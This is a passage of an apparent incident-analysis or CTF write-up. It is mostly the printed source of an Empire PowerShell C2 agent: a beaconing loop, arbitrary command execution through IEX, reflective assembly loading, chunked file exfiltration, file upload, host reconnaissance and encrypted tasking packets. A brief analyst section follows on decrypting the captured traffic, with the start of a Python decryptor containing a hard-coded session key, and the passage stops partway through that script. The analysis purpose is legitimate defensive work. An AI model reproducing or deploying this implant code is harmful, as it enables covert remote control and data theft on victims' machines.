    $Script:Downloads = @{}
    $script:ImportedScript = ''
    function ConvertTo-Rc4ByteStream {
        Param ($In, $RCK)
        begin {
            [Byte[]] $S = 0..255;
            $J = 0;
            0..255 | ForEach-Object {
                $J = ($J + $S[$_] + $RCK[$_ % $RCK.Length]) % 256;
                $S[$_], $S[$J] = $S[$J], $S[$_];
            };
            $I = $J = 0;
        }
        process {
            ForEach($Byte in $In) {
                $I = ($I + 1) % 256;
                $J = ($J + $S[$I]) % 256;
                $S[$I], $S[$J] = $S[$J], $S[$I];
                $Byte -bxor $S[($S[$I] + $S[$J]) % 256];
            }
        }
    }
    function Get-HexString {
        param([byte]$Data)
        ($Data | ForEach-Object { "{0:X2}" -f $_ }) -join ' '
    }
    function Set-Delay {
        param([int]$d, [double]$j=0.0)
        $script:AgentDelay = $d
        $script:AgentJitter = $j
        "agent interval set to $script:AgentDelay seconds with a jitter of $script:AgentJitter"
    }
    function Get-Delay {
        "agent interval delay interval: $script:AgentDelay seconds with a jitter of $script:AgentJitter"
    }
    function Set-LostLimit {
        param([int]$l)
        $script:LostLimit = $l
        if($l -eq 0)
        {
            "agent set to never die based on checkin Limit"
        }
        else
        {
            "agent LostLimit set to $script:LostLimit"
        }
    }
    function Get-LostLimit {
        "agent LostLimit: $script:LostLimit"
    }
    function Set-Killdate {
        param([string]$date)
        $script:KillDate = $date
        "agent killdate set to $script:KillDate"
    }
    function Get-Killdate {
        "agent killdate: $script:KillDate"
    }
    function Set-WorkingHours {
        param([string]$hours)
        $script:WorkingHours = $hours
        "agent working hours set to $($script:WorkingHours)"
    }
    function Get-WorkingHours {
        "agent working hours: $($script:WorkingHours)"
    }
    function Get-Sysinfo {
        $str = '0|' # no nonce for normal execution
        $str += $Script:ControlServers[$Script:ServerIndex]
        $str += '|' + [Environment]::UserDomainName+'|'+[Environment]::UserName+'|'+[Environment]::MachineName;
        $p = (Get-WmiObject Win32_NetworkAdapterConfiguration|Where{$_.IPAddress}|Select -Expand IPAddress);
        $ip = @{$true=$p[0];$false=$p}[$p.Length -lt 6];
        $str+="|$ip"
        $str += '|' +(Get-WmiObject Win32_OperatingSystem).Name.split('|')[0];
        if(([Environment]::UserName).ToLower() -eq 'system') {
            $str += '|True'
        }
        else{
            $str += '|'+ ([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] 'Administrator')
        }
        $n = [System.Diagnostics.Process]::GetCurrentProcess();
        $str += '|'+$n.ProcessName+'|'+$n.Id;
        $str += "|powershell|" + $PSVersionTable.PSVersion.Major;
        $str += "|" + $env:PROCESSOR_ARCHITECTURE;
        $str
    }
    function Invoke-ShellCommand {
        param($cmd, $cmdargs="")
        if ($cmdargs -like "*`"\\*") {
            $cmdargs = $cmdargs -replace "`"\\","FileSystem::`"\"
        }
        elseif ($cmdargs -like "*\\*") {
            $cmdargs = $cmdargs -replace "\\\\","FileSystem::\\"
        }
        $output = ''
        if ($cmd.ToLower() -eq 'shell') {
            if ($cmdargs.length -eq '') { $output = 'no shell command supplied' }
            else {
                $OldConsoleOut = [Console]::Out
                $StringWriter = New-Object IO.StringWriter
                [Console]::SetOut($StringWriter)
                $output = iex "$cmdargs" | out-string
                [Console]::SetOut($OldConsoleOut)
                if ($output.length -eq 0){
                    $output = $StringWriter.ToString()
                    }
            }
            $output += "`n`r"
        }
        elseif ($cmd.ToLower() -eq 'reflectiveload'){
            if ($cmdargs.length -eq '') { $output = 'no binary supplied' }
            else{
                $assembly = [System.Reflection.Assembly]::Load([Convert]::FromBase64String($cmdargs))
                $output = "`n`r Reflective Load Complete"
            }
        }
        else {
            switch -regex ($cmd) {
                '(ls|^dir)' {
                    if ($cmdargs.length -eq "") {
                        $output = Get-ChildItem -force | select mode,@{Name="Owner";Expression={(Get-Acl $_.FullName).Owner }},@{Name="LastWriteTime";Expression={($_.LastWriteTime.ToString("u"))}},length,name | ConvertTo-Json
                    }
                    else {
                        try{
                            $output = IEX "$cmd $cmdargs -Force -ErrorAction Stop" | select mode,@{Name="Owner";Expression={ (Get-Acl $_.FullName).Owner }},@{Name="LastWriteTime";Expression={($_.LastWriteTime.ToString("u"))}},length,name | ConvertTo-Json
                        }
                        catch [System.Management.Automation.ActionPreferenceStopException] {
                            $output = "[!] Error: $_ (or cannot be accessed)."
                        }
                    }
                }
                '(mv|move|copy|cp|rm|del|rmdir|mkdir)' {
                    if ($cmdargs.length -ne "") {
                        try {
                            IEX "$cmd $cmdargs -Force -ErrorAction Stop"
                            $output = "executed $cmd $cmdargs"
                        }
                        catch {
                            $output=$_.Exception;
                        }
                    }
                }
                cd {
                    if ($cmdargs.length -ne '')
                    {
                        $cmdargs = $cmdargs.trim("`"").trim("'")
                        cd "$cmdargs"
                        $output = pwd
                    }
                }
                '(ipconfig|ifconfig)' {
                    $output = Get-WmiObject -class 'Win32_NetworkAdapterConfiguration' | ? {$_.IPEnabled -Match 'True'} | ForEach-Object {
                        $out = New-Object psobject
                        $out | Add-Member Noteproperty 'Description' $_.Description
                        $out | Add-Member Noteproperty 'MACAddress' $_.MACAddress
                        $out | Add-Member Noteproperty 'DHCPEnabled' $_.DHCPEnabled
                        $out | Add-Member Noteproperty 'IPAddress' $($_.IPAddress -join ",")
                        $out | Add-Member Noteproperty 'IPSubnet' $($_.IPSubnet -join ",")
                        $out | Add-Member Noteproperty 'DefaultIPGateway' $($_.DefaultIPGateway -join ",")
                        $out | Add-Member Noteproperty 'DNSServer' $($_.DNSServerSearchOrder -join ",")
                        $out | Add-Member Noteproperty 'DNSHostName' $_.DNSHostName
                        $out | Add-Member Noteproperty 'DNSSuffix' $($_.DNSDomainSuffixSearchOrder -join ",")
                        $out
                    } | ConvertTo-Json
                }
                '(ps|tasklist)' {
                    $owners = @{}
                    Get-WmiObject win32_process | ForEach-Object {$o = $_.getowner(); if(-not $($o.User)) {$o='N/A'} else {$o="$($o.Domain)\$($o.User)"}; $owners[$_.handle] = $o}
                    if($cmdargs -ne '') { $p = $cmdargs }
                    else{ $p = "*" }
                    $output = Get-Process $p | ForEach-Object {
                        $arch = 'x64'
                        if ([System.IntPtr]::Size -eq 4) {
                            $arch = 'x86'
                        }
                        else{
                            foreach($module in $_.modules) {
                                if([System.IO.Path]::GetFileName($module.FileName).ToLower() -eq "wow64.dll") {
                                    $arch = 'x86'
                                    break
                                }
                            }
                        }
                        $out = New-Object psobject
                        $out | Add-Member Noteproperty 'ProcessName' $_.ProcessName
                        $out | Add-Member Noteproperty 'PID' $_.ID
                        $out | Add-Member Noteproperty 'Arch' $arch
                        $out | Add-Member Noteproperty 'UserName' $owners[$_.id.tostring()]
                        $mem = "{0:N2} MB" -f $($_.WS/1MB)
                        $out | Add-Member Noteproperty 'MemUsage' $mem
                        $out
                    } | Sort-Object -Property PID | ConvertTo-Json
                }
                getpid { $output = [System.Diagnostics.Process]::GetCurrentProcess() }
                route {
                    if (($cmdargs.length -eq '') -or ($cmdargs.ToLower() -eq 'print')) {
                        $adapters = @{}
                        Get-WmiObject Win32_NetworkAdapterConfiguration | ForEach-Object { $adapters[[int]($_.InterfaceIndex)] = $_.IPAddress }
                        $output = Get-WmiObject win32_IP4RouteTable | ForEach-Object {
                            $out = New-Object psobject
                            $out | Add-Member Noteproperty 'Destination' $_.Destination
                            $out | Add-Member Noteproperty 'Netmask' $_.Mask
                            if ($_.NextHop -eq "0.0.0.0") {
                                $out | Add-Member Noteproperty 'NextHop' 'On-link'
                            }
                            else{
                                $out | Add-Member Noteproperty 'NextHop' $_.NextHop
                            }
                            if($adapters[$_.InterfaceIndex] -and ($adapters[$_.InterfaceIndex] -ne "")) {
                                $out | Add-Member Noteproperty 'Interface' $($adapters[$_.InterfaceIndex] -join ",")
                            }
                            else {
                                $out | Add-Member Noteproperty 'Interface' '127.0.0.1'
                            }
                            $out | Add-Member Noteproperty 'Metric' $_.Metric1
                            $out
                        } | ConvertTo-Json
                    }
                    else { $output = route $cmdargs }
                }
                '(whoami|getuid)' { $output = [Security.Principal.WindowsIdentity]::GetCurrent().Name }
                hostname {
                    $output = [System.Net.Dns]::GetHostByName(($env:computerName))
                }
                '(reboot|restart)' { Restart-Computer -force }
                shutdown { Stop-Computer -force }
                default {
                    if ($cmdargs.length -eq '') { $output = IEX $cmd | Out-String }
                    else { $output = IEX "$cmd $cmdargs" | Out-String }
                }
            }
        }
        "`n"+($output)
    }
    function Start-AgentJob {
        param($ScriptString)
        $RandName = -join("ABCDEFGHKLMNPRSTUVWXYZ123456789".ToCharArray()|Get-Random -Count 6)
        $AppDomain = [AppDomain]::CreateDomain($RandName)
        $PSHost = $AppDomain.Load([PSObject].Assembly.FullName).GetType('System.Management.Automation.PowerShell')::Create()
        $null = $PSHost.AddScript($ScriptString)
        $Buffer = New-Object 'System.Management.Automation.PSDataCollection[PSObject]'
        $PSobjectCollectionType = [Type]'System.Management.Automation.PSDataCollection[PSObject]'
        $BeginInvoke = ($PSHost.GetType().GetMethods() | ? { $_.Name -eq 'BeginInvoke' -and $_.GetParameters().Count -eq 2 }).MakeGenericMethod(@([PSObject], [PSObject]))
        $Job = $BeginInvoke.Invoke($PSHost, @(($Buffer -as $PSobjectCollectionType), ($Buffer -as $PSobjectCollectionType)))
        $Script:Jobs[$RandName] = @{'Alias'=$RandName; 'AppDomain'=$AppDomain; 'PSHost'=$PSHost; 'Job'=$Job; 'Buffer'=$Buffer}
        $RandName
    }
    function Get-AgentJobCompleted {
        param($JobName)
        if($Script:Jobs.ContainsKey($JobName)) {
            $Script:Jobs[$JobName]['Job'].IsCompleted
        }
    }
    function Receive-AgentJob {
        param($JobName)
        if($Script:Jobs.ContainsKey($JobName)) {
            $Script:Jobs[$JobName]['Buffer'].ReadAll()
        }
    }
    function Stop-AgentJob {
        param($JobName)
        if($Script:Jobs.ContainsKey($JobName)) {
            $Null = $Script:Jobs[$JobName]['PSHost'].Stop()
            $Script:Jobs[$JobName]['Buffer'].ReadAll()
            $Null = [AppDomain]::Unload($Script:Jobs[$JobName]['AppDomain'])
            $Script:Jobs.Remove($JobName)
        }
    }
    function Update-Profile {
        param($Profile)
        $ProfileParts = $Profile.split('|')
        $script:TaskURIs = $ProfileParts[0].split(',')
        $script:UserAgent = $ProfileParts[1]
        $script:SessionID = $SessionID
        $script:Headers = @{}
        if($ProfileParts[2]) {
            $ProfileParts[2..$ProfileParts.length] | ForEach-Object {
                $Parts = $_.Split(':')
                $script:Headers.Add($Parts[0],$Parts[1])
            }
        }
        "Agent updated with profile $Profile"
    }
    function Get-FilePart {
        Param(
            [string] $File,
            [int] $Index = 0,
            $ChunkSize = 512KB,
            [switch] $NoBase64
        )
        try {
            $f = Get-Item "$File"
            $FileLength = $f.length
            $FromFile = [io.file]::OpenRead($File)
            if ($FileLength -lt $ChunkSize) {
                if($Index -eq 0) {
                    $buff = new-object byte[] $FileLength
                    $count = $FromFile.Read($buff, 0, $buff.Length)
                    if($NoBase64) {
                        $buff
                    }
                    else{
                        [System.Convert]::ToBase64String($buff)
                    }
                }
                else{
                    $Null
                }
            }
            else{
                $buff = new-object byte[] $ChunkSize
                $Start = $Index * $($ChunkSize)
                $null = $FromFile.Seek($Start,0)
                $count = $FromFile.Read($buff, 0, $buff.Length)
                if ($count -gt 0) {
                    if($count -ne $ChunkSize) {
                        $buff2 = new-object byte[] $count
                        [array]::copy($buff, $buff2, $count)
                        if($NoBase64) {
                            $buff2
                        }
                        else{
                            [System.Convert]::ToBase64String($buff2)
                        }
                    }
                    else{
                        if($NoBase64) {
                            $buff
                        }
                        else{
                            [System.Convert]::ToBase64String($buff)
                        }
                    }
                }
                else{
                    $Null;
                }
            }
        }
        catch{}
        finally {
            $FromFile.Close()
        }
    }
    function Encrypt-Bytes {
        param($bytes)
        $IV = [byte] 0..255 | Get-Random -count 16
        try {
            $AES=New-Object System.Security.Cryptography.AesCryptoServiceProvider;
        }
        catch {
            $AES=New-Object System.Security.Cryptography.RijndaelManaged;
        }
        $AES.Mode = "CBC";
        $AES.Key = $Encoding.GetBytes($SessionKey);
        $AES.IV = $IV;
        $ciphertext = $IV + ($AES.CreateEncryptor()).TransformFinalBlock($bytes, 0, $bytes.Length);
        $HMAC.Key = $Encoding.GetBytes($SessionKey);
        $ciphertext + $hmac.ComputeHash($ciphertext)[0..9];
    }
    function Decrypt-Bytes {
        param ($inBytes)
        if($inBytes.Length -gt 32) {
            $mac = $inBytes[-10..-1];
            $inBytes = $inBytes[0..($inBytes.length - 11)];
            $hmac.Key = $Encoding.GetBytes($SessionKey);
            $expected = $hmac.ComputeHash($inBytes)[0..9];
            if (@(Compare-Object $mac $expected -sync 0).Length -ne 0) {
                return;
            }
            $IV = $inBytes[0..15];
            try {
                $AES=New-Object System.Security.Cryptography.AesCryptoServiceProvider;
            }
            catch {
                $AES=New-Object System.Security.Cryptography.RijndaelManaged;
            }
            $AES.Mode = "CBC";
            $AES.Key = $Encoding.GetBytes($SessionKey);
            $AES.IV = $IV;
            ($AES.CreateDecryptor()).TransformFinalBlock(($inBytes[16..$inBytes.length]), 0, $inBytes.Length-16)
        }
    }
    function New-RoutingPacket {
        param($EncData, $Meta)
        if($EncData) {
            $EncDataLen = $EncData.Length
        }
        else {
            $EncDataLen = 0
        }
        $SKB = $Encoding.GetBytes($StagingKey)
        $IV=[BitConverter]::GetBytes($(Get-Random));
        $Data = $Encoding.GetBytes($script:SessionID) + @(0x01,$Meta,0x00,0x00) + [BitConverter]::GetBytes($EncDataLen)
        $RoutingPacketData = ConvertTo-Rc4ByteStream -In $Data -RCK $($IV+$SKB)
        if($EncData) {
            ($IV + $RoutingPacketData + $EncData)
        }
        else {
            ($IV + $RoutingPacketData)
        }
    }
    function Decode-RoutingPacket {
        param($PacketData)
        if ($PacketData.Length -ge 20) {
            $Offset = 0
            while($Offset -lt $PacketData.Length) {
                $RoutingPacket = $PacketData[($Offset+0)..($Offset+19)]
                $RoutingIV = $RoutingPacket[0..3]
                $RoutingEncData = $RoutingPacket[4..19]
                $Offset += 20
                $SKB = $Encoding.GetBytes($StagingKey)
                $RoutingData = ConvertTo-Rc4ByteStream -In $RoutingEncData -RCK $($RoutingIV+$SKB)
                $PacketSessionID = [System.Text.Encoding]::UTF8.GetString($RoutingData[0..7])
                $Language = $RoutingData[8]
                $Meta = $RoutingData[9]
                $Extra = $RoutingData[10..11]
                $PacketLength = [BitConverter]::ToUInt32($RoutingData, 12)
                if ($PacketLength -lt 0) {
                    break
                }
                if ($PacketSessionID -eq $script:SessionID) {
                    $EncData = $PacketData[$Offset..($Offset+$PacketLength-1)]
                    $Offset += $PacketLength
                    Process-TaskingPackets $EncData
                }
                else {
                }
            }
        }
        else {
        }
    }
    function Encode-Packet {
        param([Int16]$type, $data, [Int16]$ResultID=0)
        if ($data -is [System.Array]) {
            $data = $data -join "`n"
        }
        $data = [System.Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes($data))
        $packet = New-Object Byte[] (12 + $data.Length)
        ([BitConverter]::GetBytes($type)).CopyTo($packet, 0)
        ([BitConverter]::GetBytes([Int16]1)).CopyTo($packet, 2)
        ([BitConverter]::GetBytes([Int16]1)).CopyTo($packet, 4)
        ([BitConverter]::GetBytes($ResultID)).CopyTo($packet, 6)
        ([BitConverter]::GetBytes($data.Length)).CopyTo($packet, 8)
        ([System.Text.Encoding]::UTF8.GetBytes($data)).CopyTo($packet, 12)
        $packet
    }
    function Decode-Packet {
        param($packet, $offset=0)
        $Type = [BitConverter]::ToUInt16($packet, 0+$offset)
        $TotalPackets = [BitConverter]::ToUInt16($packet, 2+$offset)
        $PacketNum = [BitConverter]::ToUInt16($packet, 4+$offset)
        $TaskID = [BitConverter]::ToUInt16($packet, 6+$offset)
        $Length = [BitConverter]::ToUInt32($packet, 8+$offset)
        $Data = [System.Text.Encoding]::UTF8.GetString($packet[(12+$offset)..(12+$Length+$offset-1)])
        $Remaining = [System.Text.Encoding]::UTF8.GetString($packet[(12+$Length+$offset)..($packet.Length)])
        Remove-Variable packet;
        @($Type, $TotalPackets, $PacketNum, $TaskID, $Length, $Data, $Remaining)
    }
    REPLACE_COMMS
    function Process-Tasking {
        param($type, $msg, $ResultID)
        try {
            if($type -eq 1) {
                return Encode-Packet -type $type -data $(Get-Sysinfo) -ResultID $ResultID
            }
            elseif($type -eq 2) {
                $msg = "[!] Agent "+$script:SessionID+" exiting"
                (& $SendMessage -Packets $(Encode-Packet -type $type -data $msg -ResultID $ResultID))
                exit
            }
            elseif($type -eq 40) {
                $parts = $data.Split(" ")
                if($parts.Length -eq 1) {
                    $cmd = $parts[0]
                    Encode-Packet -type $type -data $((Invoke-ShellCommand -cmd $cmd) -join "`n").trim() -ResultID $ResultID
                }
                else{
                    $cmd = $parts[0]
                    $cmdargs = $parts[1..$parts.length] -join " "
                    Encode-Packet -type $type -data $((Invoke-ShellCommand -cmd $cmd -cmdargs $cmdargs) -join "`n").trim() -ResultID $ResultID
                }
            }
            elseif($type -eq 41) {
                try {
                    $ChunkSize = 512KB
                    $Parts = $Data.Split(" ")
                    if($Parts.Length -gt 1) {
                        $Path = $Parts[0..($parts.length-2)] -join " "
                        try {
                            $ChunkSize = $Parts[-1]/1
                            if($Parts[-1] -notlike "*b*") {
                                $ChunkSize = $ChunkSize * 1024
                            }
                        }
                        catch {
                            $Path += " $($Parts[-1])"
                        }
                    }
                    else {
                        $Path = $Data
                    }
                    $Path = $Path.Trim('"').Trim("'")
                    if($ChunkSize -lt 512KB) {
                        $ChunkSize = 512KB
                    }
                    elseif($ChunkSize -gt 8MB) {
                        $ChunkSize = 8MB
                    }
                    else {
                        $ChunkSize = 1024KB
                    }
                    $Path = Get-Childitem -Recurse $Path -File  | ForEach-Object {$_.FullName}
                    foreach ( $File in $Path) {
                        $Index = 0
                        do{
                            $EncodedPart = Get-FilePart -File "$file" -Index $Index -ChunkSize $ChunkSize
                            $filesize = (Get-Item $file).length
                            if($EncodedPart) {
                                $data = "{0}|{1}|{2}|{3}" -f $Index, $file, $filesize, $EncodedPart
                                (& $SendMessage -Packets $(Encode-Packet -type $type -data $($data) -ResultID $ResultID))
                                $Index += 1
                                if ($script:AgentDelay -ne 0) {
                                    $min = [int]((1-$script:AgentJitter)*$script:AgentDelay)
                                    $max = [int]((1+$script:AgentJitter)*$script:AgentDelay)
                                    if ($min -eq $max) {
                                        $sleepTime = $min
                                    }
                                    else{
                                        $sleepTime = Get-Random -minimum $min -maximum $max;
                                    }
                                    Start-Sleep -s $sleepTime;
                                }
                            }
                            [GC]::Collect()
                        } while($EncodedPart)
                        Encode-Packet -type 40 -data "[*] File download of $file completed" -ResultID $ResultID
                    }
                }
                catch {
                    Encode-Packet -type 0 -data '[!] File does not exist or cannot be accessed' -ResultID $ResultID
                }
            }
            elseif($type -eq 42) {
                $parts = $data.split('|')
                $filename = $parts[0]
                $base64part = $parts[1]
                $Content = [System.Convert]::FromBase64String($base64part)
                try{
                    Set-Content -Path $filename -Value $Content -Encoding Byte
                    Encode-Packet -type $type -data "[*] Upload of $fileName successful" -ResultID $ResultID
                }
                catch {
                    Encode-Packet -type 0 -data '[!] Error in writing file during upload' -ResultID $ResultID
                }
            }
            elseif($type -eq 43) {
                $output = ""
                $path = "/"
                if ($data.length -gt 1) { # Use user supplied directory
                    $path = $data
                }
                if ($path -eq "/") { # if the path is root, list drives as directories
                    $array = @()
                    $drives = Get-PSDrive -PSProvider FileSystem |where {($_.Used -gt 0)} | ForEach-Object {
                        $array += (@{path =  $_.Root; name = $_.Root; is_file = $false})
                    }
                    $output = @{directory_name = "/"; directory_path = "/"; items = $array} | ConvertTo-Json -Compress
                } elseif (-Not (Test-Path $path -PathType Container)) { # if path doesn't exist
                    $output = "Directory " + $path + " not found."
                } else {
                    $array = @()
                    Get-ChildItem -force -Path $path -Attributes !directory | foreach-object { $array += (@{ path = $_.FullName; name = $_.Name; is_file = $true }) }
                    Get-ChildItem -force -Path $path -Attributes directory | foreach-object { $array += (@{ path = $_.FullName; name = $_.Name; is_file = $false }) }
                    $directory = Get-Item -force -Path $path # this way we always get the backslashes even if user supplied forward slashes
                    $output = @{ directory_name = $directory.Name; directory_path = $directory.FullName; items = $array } | ConvertTo-Json -Compress
                    if ($directory -eq $null)
                    {
                        $output = "User does not have access to directory " + $path
                    }
                }
                Encode-Packet -data $output -type $type -ResultID $ResultID
            }
            elseif($type -eq 44){
                try{
                    $parts = $data.split(",")
                    $params = $parts[1..$parts.length]
                    $bytes = [System.Convert]::FromBase64String($parts[0])
                    $ms = New-Object System.IO.MemoryStream
                    $output = New-Object System.IO.MemoryStream
                    $ms.Write($bytes, 0, $bytes.Length)
                    $ms.Seek(0,0) | Out-Null
                    $sr = New-Object System.IO.Compression.DeflateStream($ms, [System.IO.Compression.CompressionMode]::Decompress)
                    $buffer = [System.Byte[]]::CreateInstance([System.Byte],4096)
                    $bytesRead = $sr.Read($buffer, 0, $buffer.length)
                    while($bytesRead -ne 0){
                        $output.Write($buffer,0,$bytesRead)
                        $bytesRead = $sr.Read($buffer, 0, $buffer.length)
                    }
                    $assemBytes = $output.ToArray()
                    $assem = [Reflection.Assembly]::load($assemBytes)
                    $strmprop = $assem.GetType("Task").GetProperty("OutputStream");
                    if(!$strmprop){
                        $Results = $assem.GetType("Task").GetMethod("Execute").Invoke($null, $params)
                    }
                    else{
                        $pipeServerStream = [System.IO.Pipes.AnonymousPipeServerStream]::new([System.IO.Pipes.PipeDirection]::In, [System.IO.HandleInheritability]::Inheritable);
                        $pipeClientStream = [System.IO.Pipes.AnonymousPipeClientStream]::new([System.IO.Pipes.PipeDirection]::Out, $pipeServerStream.ClientSafePipeHandle);
                        $streamReader = [System.IO.StreamReader]::new($pipeServerStream);
                        $dict = @{"assembly" = $assem; "params" = $params; "pipe" = $pipeClientStream};
                        $ps = [PowerShell]::Create()
                        $task = $ps.AddScript(@'
                        [CmdletBinding()]
                        param(
                            [System.Reflection.Assembly]
                            $assembly,
                            [String[]]
                            $params,
                            [IO.Pipes.AnonymousPipeClientStream]
                            $Pipe
                        )
                        try {
                            $streamProp = $assembly.GetType("Task").GetProperty("OutputStream");
                            $streamProp.SetValue($null, $pipe, $null);
                            $assembly.GetType("Task").GetMethod("Execute").Invoke($null,$params);
                            }
                        finally {
                            $pipe.Dispose();
                            }
'@).AddParameters($dict).BeginInvoke();
                        $pipeOutput = [Text.StringBuilder]::new()
                        $buffer = [char[]]::new($pipeServerStream.InBufferSize)
                        while ($read = $streamReader.Read($buffer, 0, $buffer.Length)) {
                            [void]$pipeOutput.Append($buffer, 0, $read)
                        }
                        $ps.EndInvoke($task);
                        $Results = $pipeOutput.ToString();
                    }
                    Encode-Packet -data $results -type 40 -ResultID $ResultID
                }
                catch {
                    Encode-Packet -type 0 -data '[!] Error while executing assembly' -ResultID $ResultID
                }
            }
            elseif($type -eq 50) {
                $Downloads = $Script:Jobs.Keys -join "`n"
                Encode-Packet -data ("Running Jobs:`n$Downloads") -type $type -ResultID $ResultID
            }
            elseif($type -eq 51) {
                $JobName = $data
                $JobResultID = $ResultIDs[$JobName]
                try {
                    $Results = Stop-AgentJob -JobName $JobName | fl | Out-String
                    if($Results -and $($Results.trim() -ne '')) {
                        Encode-Packet -type $type -data $($Results) -ResultID $JobResultID
                    }
                    Encode-Packet -type 51 -data "Job $JobName killed." -ResultID $JobResultID
                }
                catch {
                    Encode-Packet -type 0 -data "[!] Error in stopping job: $JobName" -ResultID $JobResultID
                }
            }
            elseif($type -eq 100) {
                $ResultData = IEX $data
                if($ResultData) {
                    Encode-Packet -type $type -data $ResultData -ResultID $ResultID
                }
            }
            elseif($type -eq 101) {
                $prefix = $data.Substring(0,15)
                $extension = $data.Substring(15,5)
                $data = $data.Substring(20)
                Encode-Packet -type $type -data ($prefix + $extension + (IEX $data)) -ResultID $ResultID
            }
            elseif($type -eq 110) {
                $jobID = Start-AgentJob $data
                $script:ResultIDs[$jobID]=$resultID
                Encode-Packet -type $type -data ("Job started: " + $jobID) -ResultID $ResultID
            }
            elseif($type -eq 111) {
            }
            elseif($type -eq 120) {
                $script:ImportedScript = Encrypt-Bytes $Encoding.GetBytes($data);
                Encode-Packet -type $type -data "script successfully saved in memory" -ResultID $ResultID
            }
            elseif($type -eq 121) {
                $script = Decrypt-Bytes $script:ImportedScript
                if ($script) {
                    $jobID = Start-AgentJob ([System.Text.Encoding]::UTF8.GetString($script) + "; $data")
                    $script:ResultIDs[$jobID]=$ResultID
                    Encode-Packet -type $type -data ("Job started: " + $jobID) -ResultID $ResultID
                }
            }
            elseif($type -eq 130) {
                try {
                    IEX $data
                    Encode-Packet -type $type -data "[+] Switched the current listener to: $CurrentListenerName" -ResultID $ResultID
                }
                catch {
                    Encode-Packet -type 0 -data ("[!] Unable to update agent comm methods: $_") -ResultID $ResultID
                }
            }
            elseif($type -eq 131) {
                $script:CurrentListenerName = $data
                Encode-Packet -type $type -data "[+] Updated the CurrentListenerName to: $CurrentListenerName" -ResultID $ResultID
            }
            else{
                Encode-Packet -type 0 -data "[!] invalid type: $type" -ResultID $ResultID
            }
        }
        catch [System.Exception] {
            Encode-Packet -type $type -data "[!] error running command: $_" -ResultID $ResultID
        }
    }
    function Process-TaskingPackets {
        param($Tasking)
        $TaskingBytes = Decrypt-Bytes $Tasking
        if (-not $TaskingBytes) {
            return
        }
        $Decoded = Decode-Packet $TaskingBytes
        $Type = $Decoded[0]
        $TotalPackets = $Decoded[1]
        $PacketNum = $Decoded[2]
        $TaskID = $Decoded[3]
        $Length = $Decoded[4]
        $Data = $Decoded[5]
        $Remaining = $Decoded[6]
        $ResultPackets = $(Process-Tasking $Type $Data $TaskID)
        $Offset = 12 + $Length
        while($Remaining.Length -ne 0) {
            $Decoded = Decode-Packet $TaskingBytes $Offset
            $Type = $Decoded[0]
            $TotalPackets = $Decoded[1]
            $PacketNum = $Decoded[2]
            $TaskID = $Decoded[3]
            $Length = $Decoded[4]
            $Data = $Decoded[5]
            if ($Decoded.Count -eq 7) {$Remaining = $Decoded[6]}
            $ResultPackets += $(Process-Tasking $Type $Data $TaskID)
            $Offset += $(12 + $Length)
        }
        (& $SendMessage -Packets $ResultPackets)
    }
    while ($True) {
        if ( (($script:KillDate) -and ((Get-Date) -gt $script:KillDate)) -or ((!($script:LostLimit -eq 0)) -and ($script:MissedCheckins -gt $script:LostLimit)) ) {
            $Packets = $null
            ForEach($JobName in $Script:Jobs.Keys) {
                $Results = Stop-AgentJob -JobName $JobName | fl | Out-String
                $JobResultID = $script:ResultIDs[$JobName]
                $Packets += $(Encode-Packet -type 110 -data $($Results) -ResultID $JobResultID)
                $script:ResultIDs.Remove($JobName)
            }
            if ($Packets) {
                (& $SendMessage -Packets $Packets)
            }
            if (($script:KillDate) -and ((Get-Date) -gt $script:KillDate)) {
                $msg = "[!] Agent "+$script:SessionID+" exiting: past killdate"
            }
            else {
                $msg = "[!] Agent "+$script:SessionID+" exiting: Lost limit reached"
            }
            (& $SendMessage -Packets $(Encode-Packet -type 2 -data $msg))
            exit
        }
        if ($script:WorkingHours -match '^[0-9]{1,2}:[0-5][0-9]-[0-9]{1,2}:[0-5][0-9]$') {
            $current = Get-Date
            $start = Get-Date ($script:WorkingHours.split("-")[0])
            $end = Get-Date ($script:WorkingHours.split("-")[1])
            if (($end-$start).hours -lt 0) {
                $start = $start.AddDays(-1)
            }
            $startCheck = $current -ge $start
            $endCheck = $current -le $end
            if ((-not $startCheck) -or (-not $endCheck)) {
                $sleepSeconds = ($start - $current).TotalSeconds
                if($sleepSeconds -lt 0) {
                    $sleepSeconds = ($start.addDays(1) - $current).TotalSeconds
                }
                Start-Sleep -Seconds $sleepSeconds
            }
        }
        if ($script:AgentDelay -ne 0) {
            $SleepMin = [int]((1-$script:AgentJitter)*$script:AgentDelay)
            $SleepMax = [int]((1+$script:AgentJitter)*$script:AgentDelay)
            if ($SleepMin -eq $SleepMax) {
                $SleepTime = $SleepMin
            }
            else{
                $SleepTime = Get-Random -Minimum $SleepMin -Maximum $SleepMax
            }
            Start-Sleep -Seconds $sleepTime;
        }
        $JobResults = $Null
        ForEach($JobName in $Script:Jobs.Keys) {
            $JobResultID = $script:ResultIDs[$JobName]
            if(Get-AgentJobCompleted -JobName $JobName) {
                $Results = Stop-AgentJob -JobName $JobName | fl | Out-String
            }
            else {
                $Results = Receive-AgentJob -JobName $JobName | fl | Out-String
            }
            if($Results) {
                $JobResults += $(Encode-Packet -type 110 -data $($Results) -ResultID $JobResultID)
            }
        }
        if ($JobResults) {
            ((& $SendMessage -Packets $JobResults))
        }
        $TaskData = (& $GetTask)
        if ($TaskData) {
            $script:MissedCheckins = 0
            if ([System.Text.Encoding]::UTF8.GetString($TaskData) -ne $script:DefaultResponse) {
                Decode-RoutingPacket -PacketData $TaskData
            }
        }
        [GC]::Collect()
    }
}

Analyzing the Stage 2 Empire agent script confirms that standard Empire C2 logic is used without modifications. The agent continually checks in, fetches tasked jobs from the C2 server, and sends back results. Even if we cannot see every executed task directly inside the memory dump (since jobs run in separate execution contexts), we can recover all tasked commands and responses by decrypting the network traffic in the PCAP


Decrypting C2 Tasking Packets

Next, I extracted the subsequent task packet from the network capture and attempted to decrypt it using our initial script. However, the decryption failed because Empire task packets contain a 20-byte routing header before the encrypted payload

After updating the script with an offset (skip=20) to strip the header, we have our complete decryption tool:

import sys
import hashlib
import hmac
from Crypto.Cipher import AES

DEFAULT_SESSION_KEY = b'd%~gc_:vhZP+.VHWsolQEz1}ICKma;D@'

def decrypt(data, key=DEFAULT_SESSION_KEY, skip=20):
    data = data[skip:]
    if len(data) <= 32:
        raise ValueError('Data too short')
    iv = data[:16]
    ciphertext = data[16:-10]
    mac = data[-10:]
